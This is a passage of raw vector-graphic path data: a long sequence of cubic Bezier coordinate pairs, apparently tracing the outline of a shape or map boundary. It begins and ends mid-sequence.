43696.00C160035.33 43674.33 160056.67 43652.67 160078.00 43631.00C160078.00 43620.33 160078.00 43609.67 160078.00 43599.00C160099.38 43545.61 160120.69 43492.18 160142.11 43438.80C160238.74 43267.20 160335.37 43095.60 160432.00 42924.00C160432.00 42892.00 160432.00 42860.00 160432.00 42828.00C160442.67 42806.33 160453.33 42784.67 160464.00 42763.00C160517.33 42709.67 160570.67 42656.33 160624.00 42603.00C160624.00 42581.33 160624.00 42559.67 160624.00 42538.00C160645.67 42538.00 160667.33 42538.00 160689.00 42538.00C160689.00 42527.33 160689.00 42516.67 160689.00 42506.00C160710.33 42495.33 160731.67 42484.67 160753.00 42474.00C160753.00 42442.00 160753.00 42410.00 160753.00 42378.00C160742.33 42378.00 160731.67 42378.00 160721.00 42378.00C160731.67 42356.33 160742.33 42334.67 160753.00 42313.00C160753.00 42302.33 160753.00 42291.67 160753.00 42281.00C160763.67 42259.67 160774.33 42238.33 160785.00 42217.00C160774.33 42206.33 160763.67 42195.67 160753.00 42185.00C160763.67 42185.00 160774.33 42185.00 160785.00 42185.00C160774.33 42163.33 160763.67 42141.67 160753.00 42120.00C160753.00 42098.67 160753.00 42077.33 160753.00 42056.00C160731.67 42024.00 160710.33 41992.00 160689.00 41960.00C160689.00 41938.33 160689.00 41916.67 160689.00 41895.00C160646.00 41895.00 160603.00 41895.00 160560.00 41895.00C160528.00 41873.67 160496.00 41852.33 160464.00 41831.00C160464.00 41820.33 160464.00 41809.67 160464.00 41799.00C160453.33 41799.00 160442.67 41799.00 160432.00 41799.00C160432.00 41756.00 160432.00 41713.00 160432.00 41670.00C160507.00 41627.33 160582.00 41584.67 160657.00 41542.00C160667.67 41531.00 160678.33 41520.00 160689.00 41509.00C160710.33 41498.33 160731.67 41487.67 160753.00 41477.00C160796.00 41487.67 160839.00 41498.33 160882.00 41509.00C160946.33 41509.00 161010.67 41509.00 161075.00 41509.00C161096.33 41498.33 161117.67 41487.67 161139.00 41477.00C161224.67 41487.67 161310.33 41498.33 161396.00 41509.00C161428.33 41520.00 161460.67 41531.00 161493.00 41542.00C161503.67 41531.00 161514.33 41520.00 161525.00 41509.00C161535.67 41520.00 161546.33 41531.00 161557.00 41542.00C161600.08 41541.98 161643.15 41542.04 161686.23 41541.97C161771.82 41530.98 161857.41 41519.99 161943.00 41509.00C161964.41 41498.33 161985.77 41487.54 162007.22 41476.94C162050.15 41466.30 162093.07 41455.65 162136.00 41445.00C162157.33 41434.33 162178.67 41423.67 162200.00 41413.00C162264.33 41413.00 162328.67 41413.00 162393.00 41413.00C162403.67 41391.67 162414.33 41370.33 162425.00 41349.00C162435.67 41359.67 162446.33 41370.33 162457.00 41381.00C162489.33 41381.00 162521.67 41381.00 162554.00 41381.00C162554.00 41370.33 162554.00 41359.67 162554.00 41349.00C162564.67 41359.67 162575.33 41370.33 162586.00 41381.00C162596.67 41370.33 162607.33 41359.67 162618.00 41349.00C162628.67 41359.67 162639.33 41370.33 162650.00 41381.00C162660.67 41381.00 162671.33 41381.00 162682.00 41381.00C162692.67 41413.00 162703.33 41445.00 162714.00 41477.00C162735.67 41466.33 162757.33 41455.67 162779.00 41445.00C162800.33 41445.00 162821.67 41445.00 162843.00 41445.00C162875.33 41434.33 162907.67 41423.67 162940.00 41413.00C162972.00 41381.00 163004.00 41349.00 163036.00 41317.00C163175.33 41317.00 163314.67 41317.00 163454.00 41317.00C163475.33 41306.00 163496.67 41295.00 163518.00 41284.00C163561.00 41295.00 163604.00 41306.00 163647.00 41317.00C163732.67 41306.00 163818.33 41295.00 163904.00 41284.00C163936.33 41273.33 163968.67 41262.67 164001.00 41252.00C164011.67 41241.33 164022.33 41230.67 164033.00 41220.00C164086.33 41198.67 164139.67 41177.33 164193.00 41156.00C164214.67 41134.33 164236.33 41112.67 164258.00 41091.00C164258.00 41069.67 164258.00 41048.33 164258.00 41027.00C164290.00 41016.33 164322.00 41005.67 164354.00 40995.00C164418.33 41027.00 164482.67 41059.00 164547.00 41091.00C164579.33 41102.00 164611.67 41113.00 164644.00 41124.00C164740.33 41124.00 164836.67 41124.00 164933.00 41124.00C165008.00 41113.00 165083.00 41102.00 165158.00 41091.00C165222.33 41102.00 165286.67 41113.00 165351.00 41124.00C165394.00 41124.00 165437.00 41124.00 165480.00 41124.00C165480.00 41113.00 165480.00 41102.00 165480.00 41091.00C165545.25 41102.21 165610.53 41113.21 165675.75 41124.55C165728.17 41135.03 165780.58 41145.52 165833.00 41156.00C165822.33 41145.33 165811.67 41134.67 165801.00 41124.00C165854.67 41156.00 165908.33 41188.00 165962.00 41220.00C165972.67 41230.67 165983.33 41241.33 165994.00 41252.00C166026.33 41241.33 166058.67 41230.67 166091.00 41220.00C166091.00 41209.33 166091.00 41198.67 166091.00 41188.00C166144.33 41188.00 166197.67 41188.00 166251.00 41188.00C166283.33 41198.67 166315.67 41209.33 166348.00 41220.00C166348.00 41230.67 166348.00 41241.33 166348.00 41252.00C166401.67 41252.00 166455.33 41252.00 166509.00 41252.00C166541.00 41262.67 166573.00 41273.33 166605.00 41284.00C166615.67 41273.33 166626.33 41262.67 166637.00 41252.00C166615.67 41252.00 166594.33 41252.00 166573.00 41252.00C166583.67 41241.33 166594.33 41230.67 166605.00 41220.00C166658.67 41252.33 166712.33 41284.67 166766.00 41317.00C166787.33 41317.00 166808.67 41317.00 166830.00 41317.00C166808.67 41306.00 166787.33 41295.00 166766.00 41284.00C166744.33 41284.00 166722.67 41284.00 166701.00 41284.00C166722.67 41284.00 166744.33 41284.00 166766.00 41284.00C166819.67 41305.67 166873.33 41327.33 166927.00 41349.00C166905.33 41338.33 166883.67 41327.67 166862.00 41317.00C166905.00 41327.67 166948.00 41338.33 166991.00 41349.00C167001.67 41370.33 167012.33 41391.67 167023.00 41413.00C167055.00 41423.67 167087.00 41434.33 167119.00 41445.00C167130.00 41445.00 167141.00 41445.00 167152.00 41445.00C167162.67 41455.67 167173.33 41466.33 167184.00 41477.00C167205.33 41477.00 167226.67 41477.00 167248.00 41477.00C167333.68 41541.43 167419.35 41605.89 167505.20 41670.10C167526.85 41680.79 167548.56 41691.38 167570.18 41702.14C167612.78 41734.43 167655.39 41766.71 167698.00 41799.00C167730.33 41809.67 167762.67 41820.33 167795.00 41831.00C167837.67 41874.00 167880.33 41917.00 167923.00 41960.00C167933.67 41960.00 167944.33 41960.00 167955.00 41960.00C167987.33 41981.33 168019.67 42002.67 168052.00 42024.00C168095.00 42024.00 168138.00 42024.00 168181.00 42024.00C168202.33 42034.67 168223.67 42045.33 168245.00 42056.00C168274.89 42086.03 168305.16 42115.69 168334.48 42146.28C168337.53 42148.44 168339.29 42153.62 168343.50 42153.00C168353.33 42153.00 168363.17 42153.00 168373.00 42153.00C168394.67 42142.00 168416.33 42131.00 168438.00 42120.00C168459.33 42131.00 168480.67 42142.00 168502.00 42153.00C168533.83 42200.68 168565.46 42248.50 168597.74 42295.88C168608.86 42312.32 168619.99 42328.76 168631.16 42345.16C168641.77 42356.11 168652.39 42367.05 168663.00 42378.00C168684.33 42378.00 168705.67 42378.00 168727.00 42378.00C168760.02 42399.71 168792.91 42421.65 168826.02 42443.21C168878.68 42474.81 168931.34 42506.40 168984.00 42538.00C169037.67 42559.67 169091.33 42581.33 169145.00 42603.00C169177.33 42645.67 169209.67 42688.33 169242.00 42731.00C169284.81 42741.72 169327.64 42752.36 169370.43 42763.14C169402.62 42773.76 169434.81 42784.38 169467.00 42795.00C169499.00 42827.33 169531.00 42859.67 169563.00 42892.00C169584.33 42902.67 169605.67 42913.33 169627.00 42924.00C169659.33 42913.33 169691.67 42902.67 169724.00 42892.00C169756.00 42902.67 169788.00 42913.33 169820.00 42924.00C169863.00 42967.00 169906.00 43010.00 169949.00 43053.00C169959.67 43053.00 169970.33 43053.00 169981.00 43053.00C170023.89 43074.55 170066.90 43095.86 170110.00 43117.00C170152.67 43117.00 170195.33 43117.00 170238.00 43117.00C170267.74 43146.43 170297.86 43175.47 170327.05 43205.44C170340.71 43219.37 170354.53 43233.16 170368.05 43247.22C170432.03 43321.82 170496.02 43396.41 170560.00 43471.00C170592.00 43524.33 170624.00 43577.67 170656.00 43631.00C170666.67 43631.00 170677.33 43631.00 170688.00 43631.00C170688.00 43642.00 170688.00 43653.00 170688.00 43664.00C170720.33 43685.33 170752.67 43706.67 170785.00 43728.00C170828.00 43728.00 170871.00 43728.00 170914.00 43728.00C170924.67 43760.00 170935.33 43792.00 170946.00 43824.00C170978.00 43867.00 171010.00 43910.00 171042.00 43953.00C171074.33 43974.33 171106.67 43995.67 171139.00 44017.00C171139.00 44006.33 171139.00 43995.67 171139.00 43985.00C171160.33 44006.67 171181.67 44028.33 171203.00 44050.00C171224.33 44050.00 171245.67 44050.00 171267.00 44050.00C171288.67 44039.00 171310.33 44028.00 171332.00 44017.00C171342.67 44017.00 171353.33 44017.00 171364.00 44017.00C171374.67 44006.33 171385.33 43995.67 171396.00 43985.00C171417.33 43985.00 171438.67 43985.00 171460.00 43985.00C171513.67 44017.33 171567.33 44049.67 171621.00 44082.00C171642.33 44124.67 171663.67 44167.33 171685.00 44210.00C171706.33 44220.67 171727.67 44231.33 171749.00 44242.00C171749.00 44263.67 171749.00 44285.33 171749.00 44307.00C171760.00 44307.00 171771.00 44307.00 171782.00 44307.00C171792.67 44349.67 171803.33 44392.33 171814.00 44435.00C171835.33 44456.67 171856.67 44478.33 171878.00 44500.00C171910.33 44500.00 171942.67 44500.00 171975.00 44500.00C172028.33 44553.33 172081.67 44606.67 172135.00 44660.00C172167.33 44671.00 172199.67 44682.00 172232.00 44693.00C172264.00 44693.00 172296.00 44693.00 172328.00 44693.00C172338.99 44704.12 172350.26 44714.98 172361.07 44726.28C172414.38 44790.18 172467.69 44854.09 172521.00 44918.00C172531.67 44939.33 172542.33 44960.67 172553.00 44982.00C172585.33 45014.00 172617.67 45046.00 172650.00 45078.00C172671.33 45078.00 172692.67 45078.00 172714.00 45078.00C172757.00 45099.67 172800.00 45121.33 172843.00 45143.00C172918.00 45218.00 172993.00 45293.00 173068.00 45368.00C173100.00 45378.67 173132.00 45389.33 173164.00 45400.00C173207.00 45400.00 173250.00 45400.00 173293.00 45400.00C173314.33 45410.67 173335.67 45421.33 173357.00 45432.00C173378.33 45432.00 173399.67 45432.00 173421.00 45432.00C173463.95 45453.04 173506.79 45474.31 173549.53 45495.77C173554.56 45500.37 173559.14 45505.59 173564.00 45510.44C173570.00 45516.63 173576.00 45522.81 173582.00 45529.00C173592.67 45529.00 173603.33 45529.00 173614.00 45529.00C173635.67 45539.67 173657.33 45550.33 173679.00 45561.00C173711.00 45561.00 173743.00 45561.00 173775.00 45561.00C173785.67 45571.67 173796.33 45582.33 173807.00 45593.00C173828.67 45582.33 173850.33 45571.67 173872.00 45561.00C173893.33 45561.00 173914.67 45561.00 173936.00 45561.00C173936.00 45539.33 173936.00 45517.67 173936.00 45496.00C173925.33 45485.33 173914.67 45474.67 173904.00 45464.00C173925.33 45485.67 173946.67 45507.33 173968.00 45529.00C174021.67 45625.33 174075.33 45721.67 174129.00 45818.00C174129.00 45828.67 174129.00 45839.33 174129.00 45850.00C174182.70 45925.07 174236.44 46000.11 174290.12 46075.19C174343.60 46161.01 174396.92 46246.94 174450.52 46332.68C174482.68 46375.46 174514.84 46418.23 174547.00 46461.00C174590.00 46493.00 174633.00 46525.00 174676.00 46557.00C174707.93 46589.40 174739.74 46621.93 174772.00 46654.00C174750.67 46643.33 174729.33 46632.67 174708.00 46622.00C174718.67 46632.67 174729.33 46643.33 174740.00 46654.00C174750.67 46654.00 174761.33 46654.00 174772.00 46654.00C174772.00 46643.33 174772.00 46632.67 174772.00 46622.00C174804.00 46622.00 174836.00 46622.00 174868.00 46622.00C174879.03 46632.74 174890.15 46643.39 174901.13 46654.19C174922.71 46686.43 174944.06 46718.84 174965.78 46750.98C175008.19 46804.32 175050.60 46857.66 175093.00 46911.00C175104.14 46921.92 175115.54 46932.61 175126.52 46943.69C175158.40 46986.51 175190.22 47029.38 175222.16 47072.16C175232.81 47082.85 175243.54 47093.45 175254.13 47104.19C175318.68 47200.29 175382.76 47296.69 175447.00 47393.00C175457.69 47404.08 175468.49 47415.05 175479.11 47426.20C175522.08 47501.13 175565.04 47576.06 175608.00 47651.00C175651.00 47672.33 175694.00 47693.67 175737.00 47715.00C175812.23 47800.87 175887.35 47886.85 175962.65 47972.65C176016.04 48025.93 176068.93 48079.71 176122.19 48133.13C176154.46 48154.42 176186.73 48175.71 176219.00 48197.00C176337.00 48315.00 176455.00 48433.00 176573.00 48551.00C176616.06 48583.23 176659.00 48615.62 176702.13 48647.76C176766.09 48690.50 176830.04 48733.25 176894.00 48776.00C176915.33 48776.00 176936.67 48776.00 176958.00 48776.00C177001.00 48808.33 177044.00 48840.67 177087.00 48873.00C177119.00 48873.00 177151.00 48873.00 177183.00 48873.00C177204.67 48883.67 177226.33 48894.33 177248.00 48905.00C177258.67 48894.33 177269.33 48883.67 177280.00 48873.00C177290.67 48915.67 177301.33 48958.33 177312.00 49001.00C177301.33 49001.00 177290.67 49001.00 177280.00 49001.00C177301.36 49033.41 177322.78 49065.77 177344.10 49098.20C177380.46 49170.95 177416.79 49243.71 177453.49 49316.28C177459.99 49329.19 177466.50 49342.10 177473.00 49355.00C177505.00 49387.00 177537.00 49419.00 177569.00 49451.00C177590.67 49461.67 177612.33 49472.33 177634.00 49483.00C177644.85 49494.32 177655.96 49505.40 177666.64 49516.86C177698.49 49559.29 177730.27 49601.77 177762.16 49644.16C177791.54 49673.84 177820.52 49703.92 177850.44 49733.06C177864.37 49746.72 177878.16 49760.53 177892.22 49774.05C177966.81 49838.03 178041.40 49902.02 178116.00 49966.00C178158.67 49987.33 178201.33 50008.67 178244.00 50030.00C178287.00 50040.67 178330.00 50051.33 178373.00 50062.00C178437.22 50029.78 178501.64 49997.95 178566.00 49966.00C178598.00 49998.00 178630.00 50030.00 178662.00 50062.00C178662.00 50072.67 178662.00 50083.33 178662.00 50094.00C178683.67 50094.00 178705.33 50094.00 178727.00 50094.00C178812.67 50137.00 178898.33 50180.00 178984.00 50223.00C179037.67 50233.67 179091.33 50244.33 179145.00 50255.00C179166.33 50265.67 179187.67 50276.33 179209.00 50287.00C179219.67 50297.67 179230.33 50308.33 179241.00 50319.00C179241.00 50308.33 179241.00 50297.67 179241.00 50287.00C179241.00 50297.67 179241.00 50308.33 179241.00 50319.00C179262.67 50319.00 179284.33 50319.00 179306.00 50319.00C179327.39 50330.06 179348.82 50341.02 179370.18 50352.14C179412.79 50384.09 179455.39 50416.05 179498.00 50448.00C179519.69 50480.41 179541.45 50512.77 179563.10 50545.20C179573.75 50566.55 179584.49 50587.84 179595.06 50609.22C179616.41 50684.21 179637.70 50759.23 179659.09 50834.21C179680.72 50887.81 179702.36 50941.40 179724.00 50995.00C179713.00 51005.67 179702.00 51016.33 179691.00 51027.00C179519.40 51063.68 179347.75 51100.07 179176.20 51136.97C179047.80 51164.64 178919.40 51192.32 178791.00 51220.00C178758.85 51230.69 178726.73 51241.48 178694.56 51252.11C178426.71 51316.40 178158.85 51380.70 177891.00 51445.00C177869.33 51509.41 177847.58 51573.80 177825.96 51638.22C177815.31 51691.48 177804.65 51744.74 177794.00 51798.00C177762.00 51884.00 177730.00 51970.00 177698.00 52056.00C177644.33 52077.33 177590.67 52098.67 177537.00 52120.00C177515.67 52141.33 177494.33 52162.67 177473.00 52184.00C177462.33 52227.00 177451.67 52270.00 177441.00 52313.00C177387.33 52366.67 177333.67 52420.33 177280.00 52474.00C177269.33 52559.67 177258.67 52645.33 177248.00 52731.00C177226.33 52763.00 177204.67 52795.00 177183.00 52827.00C177183.00 52848.67 177183.00 52870.33 177183.00 52892.00C177194.00 52902.67 177205.00 52913.33 177216.00 52924.00C177216.00 52945.33 177216.00 52966.67 177216.00 52988.00C177205.00 53020.33 177194.00 53052.67 177183.00 53085.00C177183.00 53106.33 177183.00 53127.67 177183.00 53149.00C177194.00 53170.33 177205.00 53191.67 177216.00 53213.00C177216.00 53223.67 177216.00 53234.33 177216.00 53245.00C177205.00 53245.00 177194.00 53245.00 177183.00 53245.00C177164.68 53263.94 177146.37 53282.89 177127.60 53301.39C177113.83 53315.08 177100.24 53328.98 177086.32 53342.51C177043.55 53374.34 177000.77 53406.17 176958.00 53438.00C176936.67 53448.67 176915.33 53459.33 176894.00 53470.00C176883.33 53502.33 176872.67 53534.67 176862.00 53567.00C176862.00 53577.67 176862.00 53588.33 176862.00 53599.00C176851.33 53609.67 176840.67 53620.33 176830.00 53631.00C176840.67 53663.33 176851.33 53695.67 176862.00 53728.00C176851.28 53749.39 176840.65 53770.83 176829.86 53792.18C176797.58 53835.12 176765.29 53878.06 176733.00 53921.00C176732.97 53942.41 176733.06 53963.82 176732.96 53985.22C176722.31 54038.82 176711.65 54092.41 176701.00 54146.00C176690.33 54156.67 176679.67 54167.33 176669.00 54178.00C176658.33 54199.33 176647.67 54220.67 176637.00 54242.00C176615.67 54252.67 176594.33 54263.33 176573.00 54274.00C176551.33 54274.00 176529.67 54274.00 176508.00 54274.00C176486.67 54317.00 176465.33 54360.00 176444.00 54403.00C176422.28 54413.94 176400.43 54424.63 176378.78 54435.72C176325.52 54467.49 176272.26 54499.24 176219.00 54531.00C176219.00 54542.00 176219.00 54553.00 176219.00 54564.00C176208.33 54574.67 176197.67 54585.33 176187.00 54596.00C176187.00 54617.33 176187.00 54638.67 176187.00 54660.00C176165.33 54681.33 176143.67 54702.67 176122.00 54724.00C176090.00 54788.33 176058.00 54852.67 176026.00 54917.00C175993.67 54928.00 175961.33 54939.00 175929.00 54950.00C175886.33 54992.67 175843.67 55035.33 175801.00 55078.00C175801.00 55121.00 175801.00 55164.00 175801.00 55207.00C175790.33 55239.00 175779.67 55271.00 175769.00 55303.00C175769.00 55324.33 175769.00 55345.67 175769.00 55367.00C175790.33 55356.33 175811.67 55345.67 175833.00 55335.00C175854.33 55335.00 175875.67 55335.00 175897.00 55335.00C175897.00 55345.67 175897.00 55356.33 175897.00 55367.00C175918.67 55367.00 175940.33 55367.00 175962.00 55367.00C175931.08 55428.49 175899.88 55489.83 175869.44 55551.55C175857.29 55576.03 175845.14 55600.52 175833.00 55625.00C175779.33 55678.33 175725.67 55731.67 175672.00 55785.00C175672.00 55796.00 175672.00 55807.00 175672.00 55818.00C175650.67 55839.33 175629.33 55860.67 175608.00 55882.00C175618.67 55903.33 175629.33 55924.67 175640.00 55946.00C175618.67 56010.33 175597.33 56074.67 175576.00 56139.00C175554.33 56160.33 175532.67 56181.67 175511.00 56203.00C175500.33 56224.67 175489.67 56246.33 175479.00 56268.00C175457.67 56289.33 175436.33 56310.67 175415.00 56332.00C175415.00 56364.33 175415.00 56396.67 175415.00 56429.00C175393.67 56439.67 175372.33 56450.33 175351.00 56461.00C175340.33 56461.00 175329.67 56461.00 175319.00 56461.00C175308.00 56471.67 175297.00 56482.33 175286.00 56493.00C175264.67 56503.67 175243.33 56514.33 175222.00 56525.00C175157.67 56578.67 175093.33 56632.33 175029.00 56686.00C175018.33 56707.33 175007.67 56728.67 174997.00 56750.00C174997.00 56803.67 174997.00 56857.33 174997.00 56911.00C174986.33 56921.67 174975.67 56932.33 174965.00 56943.00C174954.33 56943.00 174943.67 56943.00 174933.00 56943.00C174911.33 56964.33 174889.67 56985.67 174868.00 57007.00C174868.00 57017.67 174868.00 57028.33 174868.00 57039.00C174846.67 57039.00 174825.33 57039.00 174804.00 57039.00C174782.67 57060.67 174761.33 57082.33 174740.00 57104.00C174718.67 57093.33 174697.33 57082.67 174676.00 57072.00C174643.67 57072.00 174611.33 57072.00 174579.00 57072.00C174568.33 57050.33 174557.67 57028.67 174547.00 57007.00C174547.00 57028.67 174547.00 57050.33 174547.00 57072.00C174514.67 57093.33 174482.33 57114.67 174450.00 57136.00C174439.33 57125.33 174428.67 57114.67 174418.00 57104.00C174407.33 57082.33 174396.67 57060.67 174386.00 57039.00C174386.00 57028.33 174386.00 57017.67 174386.00 57007.00C174375.33 57007.00 174364.67 57007.00 174354.00 57007.00C174354.00 56985.67 174354.00 56964.33 174354.00 56943.00C174343.33 56953.67 174332.67 56964.33 174322.00 56975.00C174311.33 56964.33 174300.67 56953.67 174290.00 56943.00C174279.00 56953.67 174268.00 56964.33 174257.00 56975.00C174246.33 56975.00 174235.67 56975.00 174225.00 56975.00C174193.00 57007.33 174161.00 57039.67 174129.00 57072.00C174107.67 57082.67 174086.33 57093.33 174065.00 57104.00C174075.67 57125.33 174086.33 57146.67 174097.00 57168.00C174075.33 57189.33 174053.67 57210.67 174032.00 57232.00C174021.33 57232.00 174010.67 57232.00 174000.00 57232.00C173989.29 57264.40 173978.66 57296.82 173967.90 57329.20C173957.26 57350.47 173946.63 57371.73 173936.00 57393.00C173936.00 57403.67 173936.00 57414.33 173936.00 57425.00C173893.00 57468.00 173850.00 57511.00 173807.00 57554.00C173807.00 57575.33 173807.00 57596.67 173807.00 57618.00C173764.33 57628.67 173721.67 57639.33 173679.00 57650.00C173679.00 57682.33 173679.00 57714.67 173679.00 57747.00C173689.67 57757.67 173700.33 57768.33 173711.00 57779.00C173711.00 57789.67 173711.00 57800.33 173711.00 57811.00C173700.33 57821.67 173689.67 57832.33 173679.00 57843.00C173668.33 57864.67 173657.67 57886.33 173647.00 57908.00C173625.33 57897.00 173603.67 57886.00 173582.00 57875.00C173571.33 57907.33 173560.67 57939.67 173550.00 57972.00C173539.33 57982.67 173528.67 57993.33 173518.00 58004.00C173496.67 58014.67 173475.33 58025.33 173454.00 58036.00C173454.00 58046.67 173454.00 58057.33 173454.00 58068.00C173464.67 58068.00 173475.33 58068.00 173486.00 58068.00C173486.00 58100.33 173486.00 58132.67 173486.00 58165.00C173464.33 58186.33 173442.67 58207.67 173421.00 58229.00C173421.00 58250.33 173421.00 58271.67 173421.00 58293.00C173432.00 58325.33 173443.00 58357.67 173454.00 58390.00C173475.33 58400.67 173496.67 58411.33 173518.00 58422.00C173507.33 58432.67 173496.67 58443.33 173486.00 58454.00C173475.33 58454.00 173464.67 58454.00 173454.00 58454.00C173454.00 58475.33 173454.00 58496.67 173454.00 58518.00C173432.33 58518.00 173410.67 58518.00 173389.00 58518.00C173389.00 58529.00 173389.00 58540.00 173389.00 58551.00C173378.33 58561.67 173367.67 58572.33 173357.00 58583.00C173346.33 58583.00 173335.67 58583.00 173325.00 58583.00C173335.67 58593.67 173346.33 58604.33 173357.00 58615.00C173378.33 58615.00 173399.67 58615.00 173421.00 58615.00C173421.00 58625.67 173421.00 58636.33 173421.00 58647.00C173485.33 58647.00 173549.67 58647.00 173614.00 58647.00C173635.67 58636.33 173657.33 58625.67 173679.00 58615.00C173700.33 58636.33 173721.67 58657.67 173743.00 58679.00C173732.33 58679.00 173721.67 58679.00 173711.00 58679.00C173657.33 58722.00 173603.67 58765.00 173550.00 58808.00C173550.00 58829.33 173550.00 58850.67 173550.00 58872.00C173528.67 58882.67 173507.33 58893.33 173486.00 58904.00C173486.00 58936.33 173486.00 58968.67 173486.00 59001.00C173440.93 59045.81 173395.67 59090.44 173350.72 59135.38C173331.48 59154.92 173312.24 59174.46 173293.00 59194.00C173282.33 59215.33 173271.67 59236.67 173261.00 59258.00C173271.67 59268.67 173282.33 59279.33 173293.00 59290.00C173271.67 59322.33 173250.33 59354.67 173229.00 59387.00C173229.00 59397.67 173229.00 59408.33 173229.00 59419.00C173218.00 59429.67 173207.00 59440.33 173196.00 59451.00C173196.00 59461.67 173196.00 59472.33 173196.00 59483.00C173174.67 59493.67 173153.33 59504.33 173132.00 59515.00C173153.33 59536.67 173174.67 59558.33 173196.00 59580.00C173196.00 59601.33 173196.00 59622.67 173196.00 59644.00C173153.33 59686.67 173110.67 59729.33 173068.00 59772.00C173068.00 59793.67 173068.00 59815.33 173068.00 59837.00C173089.33 59847.67 173110.67 59858.33 173132.00 59869.00C173132.00 59890.33 173132.00 59911.67 173132.00 59933.00C173121.33 59943.67 173110.67 59954.33 173100.00 59965.00C173078.67 59976.00 173057.33 59987.00 173036.00 59998.00C173046.67 59998.00 173057.33 59998.00 173068.00 59998.00C173057.33 59998.00 173046.67 59998.00 173036.00 59998.00C173025.33 60030.00 173014.67 60062.00 173004.00 60094.00C173004.05 60104.74 173003.91 60115.48 173004.07 60126.22C173014.72 60158.48 173025.36 60190.74 173036.00 60223.00C173046.67 60233.67 173057.33 60244.33 173068.00 60255.00C173068.00 60276.33 173068.00 60297.67 173068.00 60319.00C173078.67 60329.67 173089.33 60340.33 173100.00 60351.00C173100.00 60372.33 173100.00 60393.67 173100.00 60415.00C173121.33 60415.00 173142.67 60415.00 173164.00 60415.00C173174.67 60436.67 173185.33 60458.33 173196.00 60480.00C173217.67 60490.67 173239.33 60501.33 173261.00 60512.00C173261.00 60533.33 173261.00 60554.67 173261.00 60576.00C173239.33 60565.33 173217.67 60554.67 173196.00 60544.00C173174.67 60544.00 173153.33 60544.00 173132.00 60544.00C173142.67 60554.67 173153.33 60565.33 173164.00 60576.00C173164.00 60586.67 173164.00 60597.33 173164.00 60608.00C173142.67 60619.00 173121.33 60630.00 173100.00 60641.00C173066.12 60674.89 173032.31 60708.85 172998.05 60742.36C172989.03 60751.24 172980.02 60760.12 172971.00 60769.00C172982.00 60779.67 172993.00 60790.33 173004.00 60801.00C173004.00 60812.00 173004.00 60823.00 173004.00 60834.00C172993.00 60844.67 172982.00 60855.33 172971.00 60866.00C172971.00 60876.67 172971.00 60887.33 172971.00 60898.00C172960.33 60908.67 172949.67 60919.33 172939.00 60930.00C172917.67 60940.67 172896.33 60951.33 172875.00 60962.00C172853.67 60962.00 172832.33 60962.00 172811.00 60962.00C172811.00 60983.33 172811.00 61004.67 172811.00 61026.00C172778.67 61026.00 172746.33 61026.00 172714.00 61026.00C172714.00 61037.00 172714.00 61048.00 172714.00 61059.00C172671.00 61069.67 172628.00 61080.33 172585.00 61091.00C172574.33 61101.67 172563.67 61112.33 172553.00 61123.00C172563.67 61133.67 172574.33 61144.33 172585.00 61155.00C172585.00 61176.33 172585.00 61197.67 172585.00 61219.00C172596.00 61240.67 172607.00 61262.33 172618.00 61284.00C172596.33 61294.67 172574.67 61305.33 172553.00 61316.00C172563.67 61337.33 172574.33 61358.67 172585.00 61380.00C172606.67 61380.00 172628.33 61380.00 172650.00 61380.00C172650.00 61390.67 172650.00 61401.33 172650.00 61412.00C172660.67 61422.67 172671.33 61433.33 172682.00 61444.00C172671.33 61444.00 172660.67 61444.00 172650.00 61444.00C172639.33 61465.67 172628.67 61487.33 172618.00 61509.00C172607.00 61509.00 172596.00 61509.00 172585.00 61509.00C172574.33 61519.67 172563.67 61530.33 172553.00 61541.00C172563.67 61551.67 172574.33 61562.33 172585.00 61573.00C172596.00 61573.00 172607.00 61573.00 172618.00 61573.00C172650.25 61594.43 172682.37 61616.06 172714.70 61637.36C172735.80 61648.24 172756.90 61659.12 172778.00 61670.00C172789.00 61670.00 172800.00 61670.00 172811.00 61670.00C172843.00 61680.67 172875.00 61691.33 172907.00 61702.00C172907.00 61723.33 172907.00 61744.67 172907.00 61766.00C172939.33 61776.67 172971.67 61787.33 173004.00 61798.00C173004.00 61808.67 173004.00 61819.33 173004.00 61830.00C172993.00 61851.67 172982.00 61873.33 172971.00 61895.00C172989.93 61913.31 173008.87 61931.61 173027.36 61950.36C173040.91 61963.90 173054.46 61977.45 173068.00 61991.00C173067.95 62001.74 173068.09 62012.48 173067.93 62023.22C173057.23 62055.54 173046.64 62087.89 173035.90 62120.20C173025.26 62141.47 173014.63 62162.73 173004.00 62184.00C172993.00 62194.67 172982.00 62205.33 172971.00 62216.00C172971.00 62259.00 172971.00 62302.00 172971.00 62345.00C172960.33 62355.67 172949.67 62366.33 172939.00 62377.00C172949.67 62387.67 172960.33 62398.33 172971.00 62409.00C172960.33 62419.67 172949.67 62430.33 172939.00 62441.00C172939.00 62462.67 172939.00 62484.33 172939.00 62506.00C172971.33 62495.00 173003.67 62484.00 173036.00 62473.00C173068.00 62473.00 173100.00 62473.00 173132.00 62473.00C173142.67 62484.00 173153.33 62495.00 173164.00 62506.00C173185.67 62506.00 173207.33 62506.00 173229.00 62506.00C173239.67 62516.67 173250.33 62527.33 173261.00 62538.00C173250.33 62559.33 173239.67 62580.67 173229.00 62602.00C173239.67 62612.67 173250.33 62623.33 173261.00 62634.00C173261.00 62655.33 173261.00 62676.67 173261.00 62698.00C173282.33 62709.00 173303.67 62720.00 173325.00 62731.00C173335.67 62741.67 173346.33 62752.33 173357.00 62763.00C173378.33 62773.67 173399.67 62784.33 173421.00 62795.00C173464.00 62773.67 173507.00 62752.33 173550.00 62731.00C173560.67 62741.67 173571.33 62752.33 173582.00 62763.00C173571.33 62773.67 173560.67 62784.33 173550.00 62795.00C173560.67 62816.33 173571.33 62837.67 173582.00 62859.00C173592.67 62859.00 173603.33 62859.00 173614.00 62859.00C173614.00 62880.33 173614.00 62901.67 173614.00 62923.00C173625.00 62955.33 173636.00 62987.67 173647.00 63020.00C173636.00 63041.33 173625.00 63062.67 173614.00 63084.00C173603.33 63094.67 173592.67 63105.33 173582.00 63116.00C173582.00 63159.00 173582.00 63202.00 173582.00 63245.00C173560.67 63266.33 173539.33 63287.67 173518.00 63309.00C173496.67 63341.33 173475.33 63373.67 173454.00 63406.00C173443.00 63438.00 173432.00 63470.00 173421.00 63502.00C173410.33 63512.67 173399.67 63523.33 173389.00 63534.00C173378.33 63555.67 173367.67 63577.33 173357.00 63599.00C173378.33 63599.00 173399.67 63599.00 173421.00 63599.00C173421.00 63631.00 173421.00 63663.00 173421.00 63695.00C173399.67 63695.00 173378.33 63695.00 173357.00 63695.00C173357.00 63705.67 173357.00 63716.33 173357.00 63727.00C173346.33 63737.67 173335.67 63748.33 173325.00 